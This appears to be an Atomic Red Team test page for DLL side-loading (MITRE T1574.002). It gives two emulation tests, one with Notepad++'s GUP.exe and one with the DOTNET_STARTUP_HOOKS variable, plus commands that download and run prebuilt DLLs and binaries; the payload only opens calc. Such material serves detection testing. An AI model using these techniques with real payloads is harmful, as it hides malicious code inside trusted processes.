Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
Atomic Test #1 - DLL Side-Loading using the Notepad++ GUP.exe binary
Atomic Test #2 - DLL Side-Loading using the dotnet startup hook environment variable
GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded. Upon execution, calc.exe will be opened.
Supported Platforms: Windows
auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040
| Name | Description | Type | Default Value | |——|————-|——|—————| | process_name | Name of the created process | string | calculator.exe| | gup_executable | GUP is an open source signed binary used by Notepad++ for software updates | path | PathToAtomicsFolder\T1574.002\bin\GUP.exe|
1
command_prompt
"#{gup_executable}"
taskkill /F /IM #{process_name} >nul 2>&1
1
powershell
1
if (Test-Path "#{gup_executable}") {exit 0} else {exit 1}
1
2
New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}"
Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. blog post
Supported Platforms: Windows
auto_generated_guid: d322cdd7-7d60-46e3-9111-648848da7c02
| Name | Description | Type | Default Value | |——|————-|——|—————| | process_name | Name of the created process | string | calculator.exe| | preloader_dll | library for interfacing with the dotnet framework | path | PathToAtomicsFolder\T1574.002\bin\preloader.dll|
1
command_prompt
set DOTNET_STARTUP_HOOKS="#{preloader_dll}"
dotnet -h > nul
echo.
taskkill /F /IM #{process_name} >nul 2>&1
1
powershell
1
if (Test-Path "C:\Program Files\dotnet\dotnet.exe") {exit 0} else {exit 1}
1
2
winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null
echo.
1
if (Test-Path "#{preloader_dll}") {exit 0} else {exit 1}
1
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true" -OutFile "#{preloader_dll}"